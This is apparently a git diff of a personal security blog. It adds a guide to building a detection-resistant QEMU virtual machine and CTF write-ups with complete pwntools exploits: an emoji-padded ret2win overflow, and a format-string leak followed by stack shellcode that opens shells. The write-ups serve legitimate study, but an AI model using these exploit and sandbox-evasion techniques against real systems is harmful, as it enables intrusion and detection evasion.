Compare commits
12 Commits
a62dc87cf7
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
807fe13cc4
|
|||
|
9553003d92
|
|||
|
ceeab8390c
|
|||
|
f535ee938e
|
|||
|
8265c529e3
|
|||
|
6afc45c3b9
|
|||
|
eee392c719
|
|||
|
c3fe965341
|
|||
|
7df580044e
|
|||
|
863fdff225
|
|||
|
15bc9157e8
|
|||
|
8a3f9d77da
|
@@ -1,7 +0,0 @@
|
||||
+++
|
||||
date = '2025-06-23T14:24:30+02:00'
|
||||
draft = true
|
||||
title = 'Canary'
|
||||
+++
|
||||
|
||||
Coming soon.
|
||||
@@ -1,5 +1,5 @@
|
||||
+++
|
||||
draft = true
|
||||
draft = false
|
||||
date = 2025-06-24T14:21:07+02:00
|
||||
title = ""
|
||||
description = ""
|
||||
|
||||
140
content/posts/hidden_vm.md
Normal file
140
content/posts/hidden_vm.md
Normal file
@@ -0,0 +1,140 @@
|
||||
+++
|
||||
draft = false
|
||||
date = 2025-08-31T21:27:35+02:00
|
||||
title = "How to create a stealthy VM"
|
||||
description = "How to create a hard to detect virtual machine using QEMU."
|
||||
+++
|
||||
|
||||
Updates :
|
||||
- v2 (17/02/2026) : Update to qemu-10.2.0 and clear up some stuff
|
||||
|
||||
This article explains how to create a stealthy virtual machine that can be used for multiple things.
|
||||
I made this for my personnal use so there is still room for improvement.
|
||||
|
||||
Virtual machine detection can be done in a lot of ways however,
|
||||
except for the most basic ones it always revolves around identifying markers that are hard coded into the hypervisor.
|
||||
For example [PCI ID's](https://en.wikipedia.org/wiki/PCI_configuration_space#Standardized_registers), plug and play devices names, etc
|
||||
To defeat this in addition to configuring the VM so it doesn't appear like one we will have to patch and compile the hypervisor.
|
||||
|
||||
## 1. Compiling QEMU
|
||||
|
||||
⚠️ *Always maintain an installation of QEMU managed by your package manager, because it may delete necessary runtime dependencies otherwise! The binaries you compile are saved in **/usr/local/bin**, so they will take precedence.*
|
||||
|
||||
### Build dependencies
|
||||
|
||||
**Arch**:
|
||||
`sudo pacman -S git wget base-devel glib2 ninja python`
|
||||
|
||||
**Ubuntu**:
|
||||
`sudo apt install git build-essential ninja-build python-venv libglib2.0-0 flex bison`
|
||||
|
||||
### Patching and building QEMU
|
||||
|
||||
Go to the directory where you want to keep the sources and run
|
||||
|
||||
{{< highlight bash >}}
|
||||
wget https://git.furtest.fr/furtest/.profile/raw/branch/main/qemu_patch/qemu-10.2.0.patch
|
||||
wget https://download.qemu.org/qemu-10.2.0.tar.xz
|
||||
tar xvJf qemu-10.2.0.tar.xz
|
||||
cd qemu-10.2.0
|
||||
git apply ../qemu-10.2.0.patch
|
||||
./configure --disable-werror
|
||||
make -j$(nproc)
|
||||
sudo make install
|
||||
{{< /highlight >}}
|
||||
|
||||
For some reasons the build fails with Werror enabled so we disable it.
|
||||
If you only need the x86_64 system hypervisor you can add `--target-list=x86_64-softmmu` to the configure command which will significantly shorten the compile time.
|
||||
|
||||
## 2. Creating the VM
|
||||
|
||||
You need to make the following changes to your vm configuration :
|
||||
(if you do not know how to create a VM using qemu check out [virt-manager](https://virt-manager.org/))
|
||||
- Use **BIOS** not UEFI
|
||||
- Change the MAC address (eg: 8c:1f:66:b8:67:84)
|
||||
- Set the video to VGA
|
||||
- Each of those snippets are things you need to have in your config, some of the text (like the `</hyperv>` ) is here for you to locate where to put the thing.
|
||||
|
||||
{{< highlight html >}}
|
||||
<cpu mode='host-model' >
|
||||
<feature policy='disable' name='hypervisor'/>
|
||||
</cpu>
|
||||
{{< /highlight >}}
|
||||
|
||||
{{< highlight html >}}
|
||||
<kvm>
|
||||
<hidden state='on'/>
|
||||
</kvm>
|
||||
</features>
|
||||
{{< /highlight >}}
|
||||
{{< highlight html >}}
|
||||
<vendor_id state='on' value='blackmega'/>
|
||||
</hyperv>
|
||||
{{< /highlight >}}
|
||||
|
||||
**In the uuid field below replace with your uuid (top of the file)**
|
||||
|
||||
{{< highlight html >}}
|
||||
<vcpu placement='static'>6</vcpu>
|
||||
<sysinfo type='smbios'>
|
||||
<bios>
|
||||
<entry name='vendor'>Dell Inc.</entry>
|
||||
<entry name='version'>2.5.2</entry>
|
||||
<entry name='date'>01/28/2015</entry>
|
||||
<entry name='release'>2.5</entry>
|
||||
</bios>
|
||||
<system>
|
||||
<entry name='manufacturer'>Dell Inc.</entry>
|
||||
<entry name='product'>PowerEdge R720</entry>
|
||||
<entry name='version'>Not Specified</entry>
|
||||
<entry name='serial'>H5DR542</entry>
|
||||
<entry name='uuid'>SHOULD MATCH THE UUID OF THE DOMAIN .. CHECK THE ELEMENT uuid ABOVE</entry>
|
||||
<entry name='sku'>SKU=NotProvided;ModelName=PowerEdge R720</entry>
|
||||
<entry name='family'>Not Specified</entry>
|
||||
</system>
|
||||
<baseBoard>
|
||||
<entry name='manufacturer'>Dell Inc.</entry>
|
||||
<entry name='product'>12NR12</entry>
|
||||
<entry name='version'>A02</entry>
|
||||
<entry name='serial'>.5KT0B123.ABCDE000000001.</entry>
|
||||
<entry name='asset'>Not Specified</entry>
|
||||
<entry name='location'>Null Location</entry>
|
||||
</baseBoard>
|
||||
<chassis>
|
||||
<entry name='manufacturer'>Lenovo</entry>
|
||||
<entry name='version'>none</entry>
|
||||
<entry name='serial'>J30038ZR</entry>
|
||||
<entry name='asset'>none</entry>
|
||||
<entry name='sku'>Default string</entry>
|
||||
</chassis>
|
||||
<oemStrings>
|
||||
<entry>myappname:some arbitrary data</entry>
|
||||
<entry>otherappname:more arbitrary data</entry>
|
||||
</oemStrings>
|
||||
</sysinfo>
|
||||
{{< /highlight >}}
|
||||
|
||||
## 3. Installing windows
|
||||
|
||||
During the windows installation there are 2 annoying things
|
||||
- Windows 11 hardware requirements.
|
||||
- Microsoft forcing you to connect to a microsoft account.
|
||||
|
||||
Once the installer has started open a cmd with `shift F10` and run `regedit`.
|
||||
Then go to `KEY_LOCAL_MACHINE\SYSTEM\Setup`, create a new key called `LabConfig` and inside three DWORD values
|
||||
- BypassTPMCheck = 1
|
||||
- BypassSecureBootCheck = 1
|
||||
- BypassRAMCheck = 1
|
||||
|
||||
To use a local account :
|
||||
1. Configure until the windows installation is done which is when you have to choose the language again.
|
||||
2. Then open a cmd again and run `OOBE\BYPASSNRO`
|
||||
3. Wait for reboot
|
||||
4. Once rebooted run `ipconfig /release` (if you forget you will have to go from step 1 again)
|
||||
|
||||
## Sources
|
||||
|
||||
- Most of this was inspired by : https://github.com/zhaodice/qemu-anti-detection
|
||||
- Windows requirement bypass : https://www.tomshardware.com/how-to/bypass-windows-11-tpm-requirement
|
||||
- Things about the VM configuration : https://r0ttenbeef.github.io/Deploy-Hidden-Virtual-Machine-For-VMProtections-Evasion-And-Dynamic-Analysis/
|
||||
|
||||
8
content/posts/welcome.md
Normal file
8
content/posts/welcome.md
Normal file
@@ -0,0 +1,8 @@
|
||||
+++
|
||||
draft = false
|
||||
date = 2025-06-27T15:34:17+02:00
|
||||
title = "Welcome to my website"
|
||||
+++
|
||||
|
||||
This post is mostly here so the blog category is not empty and also to introduce this new website where I will post ctf writeups and maybe make some blog posts to go with that.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
+++
|
||||
date = '2023-12-11T23:00:00+02:00'
|
||||
draft = true
|
||||
draft = false
|
||||
title = 'Hack the Box university ctf'
|
||||
+++
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@ Points: 25
|
||||
Number of solves: 512
|
||||
Description:
|
||||
Here is a logic circuit that implements an unknown function. What is the value of the four output bits?
|
||||
The flag format is FCSC{<value>}. For example, if the value to find is 0001, the flag would be FCSC{0001}.
|
||||
The flag format is `FCSC{<value>}`. For example, if the value to find is 0001, the flag would be FCSC{0001}.
|
||||
|
||||

|
||||
|
||||
|
||||
7
content/writeups/2025/l3ak_ctf/_index.md
Normal file
7
content/writeups/2025/l3ak_ctf/_index.md
Normal file
@@ -0,0 +1,7 @@
|
||||
+++
|
||||
date = '2025-07-14T09:11:19+02:00'
|
||||
draft = false
|
||||
title = 'L3ak ctf'
|
||||
+++
|
||||
|
||||
A ctf that seems to be fairly big, I didn't spend much time on it so only solved 2 rather easy pwn challenges.
|
||||
BIN
content/writeups/2025/l3ak_ctf/pwn/safe_gets/chall.zip
Normal file
BIN
content/writeups/2025/l3ak_ctf/pwn/safe_gets/chall.zip
Normal file
Binary file not shown.
53
content/writeups/2025/l3ak_ctf/pwn/safe_gets/exploit.py
Executable file
53
content/writeups/2025/l3ak_ctf/pwn/safe_gets/exploit.py
Executable file
@@ -0,0 +1,53 @@
|
||||
#!/usr/bin/python3
|
||||
from pwn import *
|
||||
|
||||
# Allows you to switch between local/GDB/remote from terminal
|
||||
def start(argv=[], *a, **kw):
|
||||
if args.GDB: # Set GDBscript below
|
||||
exe = local_exe
|
||||
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
|
||||
elif args.REMOTE: # ('server', 'port')
|
||||
return remote(sys.argv[1], sys.argv[2], *a, **kw)
|
||||
elif args.SSH:
|
||||
exe = remote_exe
|
||||
s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000)
|
||||
return s.process([exe] + argv)
|
||||
else: # Run locally
|
||||
exe = local_exe
|
||||
return process([exe] + argv, *a, **kw)
|
||||
|
||||
|
||||
# Specify your GDB script here for debugging
|
||||
gdbscript = '''
|
||||
break main
|
||||
break *main+202
|
||||
'''.format(**locals())
|
||||
|
||||
|
||||
# USE ./filename otherwise gdb will not work
|
||||
local_exe = './chall'
|
||||
remote_exe = 'REMOTE'
|
||||
# This will automatically get context arch, bits, os etc
|
||||
elf = context.binary = ELF(local_exe, checksec=False)
|
||||
# Change logging level to help with debugging (error/warning/info/debug)
|
||||
#context.log_level = 'debug'
|
||||
context.log_level = 'info'
|
||||
|
||||
# ===========================================================
|
||||
# EXPLOIT GOES HERE
|
||||
# ===========================================================
|
||||
|
||||
io = start()
|
||||
|
||||
payload = flat(
|
||||
b"A"*74,
|
||||
b"\x00",
|
||||
"😄".encode("utf-8")*50,
|
||||
b"A"*5,
|
||||
pack((elf.symbols.win)+5)
|
||||
)
|
||||
write("payload", payload)
|
||||
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
|
||||
|
||||
# Receive the flag
|
||||
io.interactive()
|
||||
103
content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md
Normal file
103
content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md
Normal file
@@ -0,0 +1,103 @@
|
||||
+++
|
||||
date = '2025-07-14T09:16:19+02:00'
|
||||
draft = false
|
||||
title = 'Safe Gets'
|
||||
tags = [ "pwn" ]
|
||||
+++
|
||||
|
||||
description: I think I found a way to make gets safe.
|
||||
Author: White
|
||||
|
||||
We are given a program and a python wrapper around it.
|
||||
|
||||
## Main program
|
||||
|
||||
Let's start with the program after a quick pass through ghidra
|
||||
```C
|
||||
int main(void)
|
||||
{
|
||||
size_t input_len;
|
||||
char buffer [259];
|
||||
char local_15;
|
||||
int input_len_2;
|
||||
ulong i;
|
||||
|
||||
gets(buffer);
|
||||
input_len = strlen(buffer);
|
||||
input_len_2 = (int)input_len;
|
||||
for (i = 0; i < (ulong)(long)(input_len_2 / 2); i = i + 1) {
|
||||
local_15 = buffer[(long)(input_len_2 + -1) - i];
|
||||
buffer[(long)(input_len_2 + -1) - i] = buffer[i];
|
||||
buffer[i] = local_15;
|
||||
}
|
||||
puts("Reversed string:");
|
||||
puts(buffer);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void win(void)
|
||||
{
|
||||
system("/bin/sh");
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
It's a simple compiled C program that reverses a string, the interesting thing is the call to `gets` that allows us to overflow the buffer overwrite the return pointer and jump to the beautiful `win` function.
|
||||
No binary protections are stopping us from doing this except the python wrapper the program is launched from.
|
||||
```
|
||||
[*] 'l3ak_ctf/pwn/safe_gets/chall'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
SHSTK: Enabled
|
||||
IBT: Enabled
|
||||
Stripped: No
|
||||
```
|
||||
|
||||
## Python wrapper
|
||||
|
||||
Most of it doesn't matter for us except this small part that limits the length of the input we provide to 255.
|
||||
```python
|
||||
BINARY = "./chall"
|
||||
MAX_LEN = 0xff
|
||||
|
||||
# Get input from user
|
||||
payload = input(f"Enter your input (max {MAX_LEN} bytes): ")
|
||||
if len(payload) > MAX_LEN:
|
||||
print("[-] Input too long!")
|
||||
sys.exit(1)
|
||||
```
|
||||
|
||||
Thus the tricky part is to bypass this limit because we need to write at least 275 chars to have a big enough overflow.
|
||||
|
||||
## Solve
|
||||
|
||||
So what does the `len` function count ? It counts unicode codepoints which can be multiple bytes long.
|
||||
So I replace the part of my payload responsible for filling up the buffer by 😄 emojis and after solving a stack alignment problem I get a shell and the flag.
|
||||
|
||||
Here is my solve script (the interesting part).
|
||||
```python
|
||||
io = start()
|
||||
payload = flat(
|
||||
b"A"*74,
|
||||
b"\x00",
|
||||
"😄".encode("utf-8")*50,
|
||||
b"A"*5,
|
||||
pack((elf.symbols.win)+5)
|
||||
)
|
||||
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
|
||||
io.interactive()
|
||||
```
|
||||
And when running it we get the flag.
|
||||
```
|
||||
>>> ./exploit.py REMOTE 34.45.81.67 16002
|
||||
[+] Opening connection to 34.45.81.67 on port 16002: Done
|
||||
[*] Switching to interactive mode
|
||||
$ cat flag.txt
|
||||
L3AK{6375_15_4pp4r3n7ly_n3v3r_54f3}
|
||||
[*] Interrupted
|
||||
[*] Closed connection to 34.45.81.67 port 16002
|
||||
```
|
||||
|
||||
BIN
content/writeups/2025/l3ak_ctf/pwn/the_goose/chall.zip
Normal file
BIN
content/writeups/2025/l3ak_ctf/pwn/the_goose/chall.zip
Normal file
Binary file not shown.
62
content/writeups/2025/l3ak_ctf/pwn/the_goose/exploit.py
Executable file
62
content/writeups/2025/l3ak_ctf/pwn/the_goose/exploit.py
Executable file
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/python3
|
||||
from pwn import *
|
||||
import subprocess
|
||||
|
||||
# Allows you to switch between local/GDB/remote from terminal
|
||||
def start(argv=[], *a, **kw):
|
||||
if args.GDB: # Set GDBscript below
|
||||
exe = local_exe
|
||||
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
|
||||
elif args.REMOTE: # ('server', 'port')
|
||||
return remote(sys.argv[1], sys.argv[2], *a, **kw)
|
||||
elif args.SSH:
|
||||
exe = remote_exe
|
||||
s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000)
|
||||
return s.process([exe] + argv)
|
||||
else: # Run locally
|
||||
exe = local_exe
|
||||
return process([exe] + argv, *a, **kw)
|
||||
|
||||
|
||||
# Specify your GDB script here for debugging
|
||||
gdbscript = '''
|
||||
break *highscore+276
|
||||
'''.format(**locals())
|
||||
|
||||
|
||||
# USE ./filename otherwise gdb will not work
|
||||
local_exe = './chall'
|
||||
remote_exe = 'REMOTE'
|
||||
# This will automatically get context arch, bits, os etc
|
||||
elf = context.binary = ELF(local_exe, checksec=False)
|
||||
# Change logging level to help with debugging (error/warning/info/debug)
|
||||
#context.log_level = 'debug'
|
||||
context.log_level = 'info'
|
||||
|
||||
# ===========================================================
|
||||
# EXPLOIT GOES HERE
|
||||
# ===========================================================
|
||||
|
||||
io = start()
|
||||
|
||||
number = subprocess.run(["./predict"], capture_output=True).stdout
|
||||
io.sendlineafter(b"> ", b"GOD")
|
||||
io.sendlineafter(b'so GOD. how many honks?', number)
|
||||
|
||||
io.sendlineafter(b"what's your name again?", b'%p')
|
||||
|
||||
stack = int(io.recv().decode().split()[1], 16)
|
||||
stack -= 0x126 # Offset to our buffer
|
||||
|
||||
# Space before return pointer 376
|
||||
sh = asm(shellcraft.amd64.linux.sh())
|
||||
|
||||
payload = flat(
|
||||
asm('nop')*100,
|
||||
sh,
|
||||
b'A'*(376-100-len(sh)),
|
||||
pack(stack)
|
||||
)
|
||||
io.sendline(payload)
|
||||
|
||||
io.interactive()
|
||||
168
content/writeups/2025/l3ak_ctf/pwn/the_goose/index.md
Normal file
168
content/writeups/2025/l3ak_ctf/pwn/the_goose/index.md
Normal file
@@ -0,0 +1,168 @@
|
||||
+++
|
||||
date = '2025-07-14T09:16:28+02:00'
|
||||
draft = false
|
||||
title = 'The goose'
|
||||
tags = [ "pwn" ]
|
||||
+++
|
||||
|
||||
description: When the honking gets tough, you better brush up on your basics.
|
||||
Author: dsp
|
||||
|
||||
For this challenge we are given the binary and the Dockerfile
|
||||
```
|
||||
>>> pwn checksec --file=chall <<<
|
||||
[*] 'l3ak_ctf/pwn/the_goose/chall'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX unknown - GNU_STACK missing
|
||||
PIE: PIE enabled
|
||||
Stack: Executable
|
||||
RWX: Has RWX segments
|
||||
Stripped: No
|
||||
```
|
||||
|
||||
No stack canary and executable stack we can already guess this will involve a shellcode.
|
||||
|
||||
## Exploration
|
||||
|
||||
```
|
||||
>>> the_goose ./chall
|
||||
Welcome to the goose game.
|
||||
Here you have to guess a-priori, how many HONKS you will receive from a very angry goose.
|
||||
Godspeed.
|
||||
How shall we call you?
|
||||
> GOD
|
||||
|
||||
so GOD. how many honks?10
|
||||
|
||||
HONK ... HONK
|
||||
tough luck. THE GOOSE WINS! GET THE HONK OUT!
|
||||
```
|
||||
|
||||
So it seems like we have to guess the number of HONKs from the goose.
|
||||
Let's fire up ghidra and look at what we facing.
|
||||
|
||||
```C
|
||||
int main(void)
|
||||
{
|
||||
int iVar1;
|
||||
time_t tVar2;
|
||||
|
||||
setvbuf(stdout,(char *)0x0,2,0);
|
||||
tVar2 = time((time_t *)0x0);
|
||||
srand((uint)tVar2);
|
||||
setuser();
|
||||
iVar1 = rand();
|
||||
nhonks = iVar1 % 0x5b + 10;
|
||||
iVar1 = guess();
|
||||
if (iVar1 == 0) {
|
||||
puts("tough luck. THE GOOSE WINS! GET THE HONK OUT!");
|
||||
}
|
||||
else {
|
||||
highscore();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
The number of honks are generated by `rand()` which is seeded with the current time.
|
||||
If we correctly guess the number of honks we go inside of the highscore function.
|
||||
```C
|
||||
void highscore(void)
|
||||
{
|
||||
undefined message_buffer [128];
|
||||
char buffer_random [31];
|
||||
undefined local_d9;
|
||||
undefined name_buffer [32];
|
||||
char success_message [74];
|
||||
|
||||
/* The message is written one char at a time I placed everything on the same line to make it readable */
|
||||
success_message = "wow %s you\'re so go what message would you like to leave to the world?"
|
||||
success_message[0x49] = '\0';
|
||||
printf("what\'s your name again?");
|
||||
scanf("%31s",name_buffer);
|
||||
local_d9 = 0;
|
||||
sprintf(buffer_random,success_message,name_buffer);
|
||||
printf(buffer_random);
|
||||
read(0,message_buffer,0x400);
|
||||
printf("got it. bye now.");
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
The highscore function has a really obvious buffer overflow on the call to `read` that would allow us to inject shellcode and jump to it.
|
||||
So there are two steps to this challenge :
|
||||
1. Guessing the number of honks
|
||||
2. Exploiting the `highscore` function to get a shell
|
||||
|
||||
## Guessing the number of honks
|
||||
|
||||
The random number generator is initialised using `srand(time(NULL))` which makes the seed the second of the call to `srand`.
|
||||
We also know how the number of honks is calculated (`nhonks = iVar1 % 0x5b + 10;`).
|
||||
From there we can easily compute the number with a small C program
|
||||
```C
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
srand(time(NULL));
|
||||
printf("%d", (rand() % 0x5b + 10));
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
After compiling we can call it from a pwntools script and correctly guess the number of honks (if you are on a slow link you can add 1 or 2 to the `srand` time).
|
||||
```python
|
||||
number = subprocess.run(["./predict"], capture_output=True).stdout
|
||||
io.sendlineafter(b"> ", b"GOD")
|
||||
io.sendlineafter(b'so GOD. how many honks?', number)
|
||||
```
|
||||
|
||||
## Exploiting the highscore function
|
||||
|
||||
Using the buffer overflow on the `read` call we can easily place a shellcode on the stack (there is no NX).
|
||||
The only problem is finding the address of something on the stack to be able to jump to our shellcode.
|
||||
This can be done using the format string vulnerability when we are asked for our name again. Giving `%p` as the name we are able to leak a pointer to the stack.
|
||||
The last step is to calculate the offsets and finish writing the exploit scrip
|
||||
|
||||
## Putting it all together
|
||||
|
||||
```python
|
||||
io = start()
|
||||
|
||||
number = subprocess.run(["./predict"], capture_output=True).stdout
|
||||
io.sendlineafter(b"> ", b"GOD")
|
||||
io.sendlineafter(b'so GOD. how many honks?', number)
|
||||
|
||||
io.sendlineafter(b"what's your name again?", b'%p')
|
||||
|
||||
stack = int(io.recv().decode().split()[1], 16)
|
||||
stack -= 0x126 # Offset to our buffer
|
||||
|
||||
# Space before return pointer 376
|
||||
sh = asm(shellcraft.amd64.linux.sh())
|
||||
|
||||
payload = flat(
|
||||
asm('nop')*100,
|
||||
sh,
|
||||
b'A'*(376-100-len(sh)),
|
||||
pack(stack)
|
||||
)
|
||||
io.sendline(payload)
|
||||
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
We run it and there we go
|
||||
```
|
||||
>>> ./exploit.py REMOTE 34.45.81.67 16004 <<<
|
||||
[+] Opening connection to 34.45.81.67 on port 16004: Done
|
||||
[*] Switching to interactive mode
|
||||
got it. bye now.$ cat /flag.txt
|
||||
L3AK{H0nk_m3_t0_th3_3nd_0f_l0v3}
|
||||
[*] Interrupted
|
||||
[*] Closed connection to 34.45.81.67 port 16004
|
||||
```
|
||||
10
content/writeups/2025/l3ak_ctf/pwn/the_goose/predict.c
Normal file
10
content/writeups/2025/l3ak_ctf/pwn/the_goose/predict.c
Normal file
@@ -0,0 +1,10 @@
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
srand(time(NULL) + 1);
|
||||
printf("%d", (rand() % 0x5b + 10));
|
||||
return 0;
|
||||
}
|
||||
@@ -9,6 +9,3 @@ title = 'SCALE 22x'
|
||||
I attended the South California Linux Expo better known as [SCALE](https://www.socallinuxexpo.org) for its 22nd edition. For this occasion a CTF (2 actually but I didn't try the other one as it was at the same time) was organised by pacific hackers.
|
||||
The CTF lasted 2h30 and me and a friend were able to get first place.
|
||||
|
||||
- Web
|
||||
- [artist](./web.md)
|
||||
- [the_dev_robots](./web.md)
|
||||
|
||||
16
hugo.toml
16
hugo.toml
@@ -1,4 +1,4 @@
|
||||
baseurl = "furtest.fr"
|
||||
baseurl = "https://furtest.fr/"
|
||||
title = "furtest's website"
|
||||
theme = "hugo-coder"
|
||||
languagecode = "en"
|
||||
@@ -12,7 +12,7 @@ style = "github-dark"
|
||||
|
||||
[params]
|
||||
author = "furtest"
|
||||
info = "Libre software advocate; privacy & cybersecurity enthusiast; low-level development enjoyer."
|
||||
info = "FOSS software fan and linux user, I enjoy low level development and cybersecurity. Currently learning digital electronics."
|
||||
description = "furtest's website and ctf writeups"
|
||||
copyright = "Paul Retourné"
|
||||
license = "GNU GPLv3"
|
||||
@@ -35,10 +35,16 @@ style = "github-dark"
|
||||
tag = "tags"
|
||||
author = "authors"
|
||||
|
||||
[[params.social]]
|
||||
name = "Gitea"
|
||||
icon = "fa-brands fa-git-alt fa-2x"
|
||||
weight = 1
|
||||
url = "https://git.furtest.fr/furtest/"
|
||||
|
||||
[[params.social]]
|
||||
name = "Github"
|
||||
icon = "fa-brands fa-github fa-2x"
|
||||
weight = 1
|
||||
weight = 2
|
||||
url = "https://github.com/furtest/"
|
||||
|
||||
[[menu.main]]
|
||||
@@ -49,7 +55,3 @@ style = "github-dark"
|
||||
name = "Blog"
|
||||
weight = 2
|
||||
url = "posts"
|
||||
[[menu.main]]
|
||||
name = "Canary"
|
||||
weight = 3
|
||||
url = "canary"
|
||||
|
||||
Reference in New Issue
Block a user